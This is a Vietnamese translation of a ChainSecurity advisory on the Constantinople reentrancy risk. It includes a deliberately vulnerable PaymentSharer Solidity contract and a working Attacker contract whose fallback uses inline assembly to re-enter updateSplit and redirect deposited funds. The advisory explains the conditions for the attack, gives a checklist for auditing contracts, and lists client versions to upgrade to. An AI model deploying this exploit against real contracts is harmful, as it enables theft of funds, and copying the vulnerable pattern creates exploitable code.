

tiêu đề cấp đầu tiên
Có gì sai với mã này?
Dưới đây là một hợp đồng thông minh ngắn không dễ bị tấn công vào lại trước Constantinople, nhưng sau đó. Bạn có thể tìm thấy mã nguồn đầy đủ, bao gồm cả hợp đồng của kẻ tấn công, trên Github của chúng tôi.
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
<Ví dụ về mã mới dễ bị tấn công>
Đoạn mã này đã bị tấn công theo một cách không mong muốn: nó mô phỏng một dịch vụ phân tách an toàn. Cả hai bên có thể cùng nhận tiền, quyết định cách chia tiền và nhận thanh toán. Kẻ tấn công có thể tạo một cặp địa chỉ trong đó địa chỉ đầu tiên là hợp đồng của kẻ tấn công được liệt kê bên dưới và địa chỉ thứ hai là bất kỳ tài khoản nào của kẻ tấn công. Kẻ tấn công sẽ nạp một số tiền.
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
<Hợp đồng của kẻ tấn công được liệt kê là địa chỉ đầu tiên>
Kẻ tấn công sẽ gọi chức năng tấn công trong hợp đồng của chính mình để tiết lộ các sự kiện sau trong một giao dịch:
1. Kẻ tấn công sử dụng updateSplit để thiết lập mức phân chia hiện tại nhằm đảm bảo rằng các bản nâng cấp tiếp theo có giá rẻ. Đây là kết quả của việc nâng cấp Constantinople. Kẻ tấn công thiết lập việc phân chia theo cách mà địa chỉ đầu tiên (địa chỉ hợp đồng) nhận được tất cả tiền.
2. Hợp đồng của kẻ tấn công gọi hàm splitFunds, chức năng này sẽ thực hiện kiểm tra* và sử dụng chuyển khoản để gửi toàn bộ số tiền gửi của cặp địa chỉ đến hợp đồng.
3. Từ chức năng gọi lại, kẻ tấn công cập nhật phân chia một lần nữa, lần này phân bổ tất cả tiền vào tài khoản thứ hai của kẻ tấn công.
4. Việc thực thi splitFunds vẫn tiếp tục và tất cả các khoản tiền gửi cũng được chuyển vào tài khoản kẻ tấn công thứ hai.
tiêu đề cấp đầu tiên
Tại sao có thể tấn công bây giờ?
Trước Constantinople, mỗi hoạt động lưu trữ cần ít nhất 5000 gas. Điều này vượt xa phí gas 2300 được gửi khi sử dụng chuyển khoản hoặc gửi để gọi hợp đồng.
Sau Constantinople, hoạt động lưu trữ thay đổi khe lưu trữ "bẩn" chỉ cần 200 gas. Để làm bẩn một khe lưu trữ, nó phải được thay đổi trong một giao dịch đang diễn ra. Như đã trình bày ở trên, điều này thường có thể đạt được bằng hợp đồng kẻ tấn công gọi một số chức năng công cộng làm thay đổi biến mong muốn. Sau đó, bằng cách làm cho hợp đồng dễ bị tổn thương gọi hợp đồng của kẻ tấn công, chẳng hạn như sử dụng msg.sender.transfer(...), hợp đồng của kẻ tấn công có thể thao tác thành công các biến của hợp đồng dễ bị tổn thương bằng cách sử dụng phí gas 2300.
Một số điều kiện tiên quyết phải được đáp ứng để một hợp đồng trở nên dễ bị tổn thương:
1. Phải có chức năng A, sau chức năng truyền/gửi, tiếp theo là thao tác thay đổi trạng thái. Điều này đôi khi có thể không rõ ràng, chẳng hạn như lần chuyển thứ hai hoặc tương tác với một hợp đồng thông minh khác.
2. Kẻ tấn công phải có quyền truy cập vào chức năng B có thể (a) thay đổi trạng thái và (b) có trạng thái thay đổi xung đột với trạng thái của chức năng A.
3. Chức năng B cần được thực hiện với ít hơn 1600 gas (phí gas 2300 - 700 gas cho CALL).
Hợp đồng của tôi có dễ bị tổn thương không?
Để kiểm tra xem bạn có dễ bị tổn thương hay không:
(a) Kiểm tra xem có hoạt động nào sau sự kiện chuyển nhượng không.
(b) Kiểm tra xem các hoạt động này có thay đổi trạng thái lưu trữ hay không, phổ biến nhất là bằng cách cấp phát một số biến lưu trữ. Ví dụ: nếu bạn gọi một hợp đồng khác, phương thức chuyển mã thông báo*, hãy kiểm tra xem biến nào đã được sửa đổi. Lập một danh sách.
(c) Kiểm tra xem có bất kỳ phương pháp nào khác trong hợp đồng mà những người không phải quản trị viên có thể truy cập sử dụng một trong các biến này không.
(d) Kiểm tra xem các phương thức này có tự thay đổi trạng thái được lưu trữ không.
(e) Kiểm tra xem có phương pháp nào có ít hơn 2300 gas hay không, hãy nhớ rằng hoạt động SSTORE chỉ có 200 gas.
Nếu điều này xảy ra, kẻ tấn công rất có thể khiến hợp đồng của bạn rơi vào tình trạng tồi tệ. Nhìn chung, đây là một lời nhắc nhở khác về lý do tại sao mẫu Kiểm tra-Hiệu ứng-Tương tác lại quan trọng đến vậy.
Tôi cần làm gì với tư cách là người vận hành nút hoặc người khai thác?
Tải xuống phiên bản mới nhất của ứng dụng khách Ethereum:
ứng dụng khách geth mới nhất (v1.8.20)
Ứng dụng khách Parity mới nhất (v2.1.11-ổn định)
Ứng dụng khách Harmony mới nhất (v2.3 Build 72)
Ứng dụng khách Pantheon mới nhất (v0.8.3)
Ứng dụng khách Trinity mới nhất (v0.1.0-alpha.20)
Phiên bản mới nhất của Ethereum Wallet/Mist (v0.11.1)
| Tác giả: ChainSecurity
| Bản dịch: Nhóm bảo mật chuỗi khối Cheetah
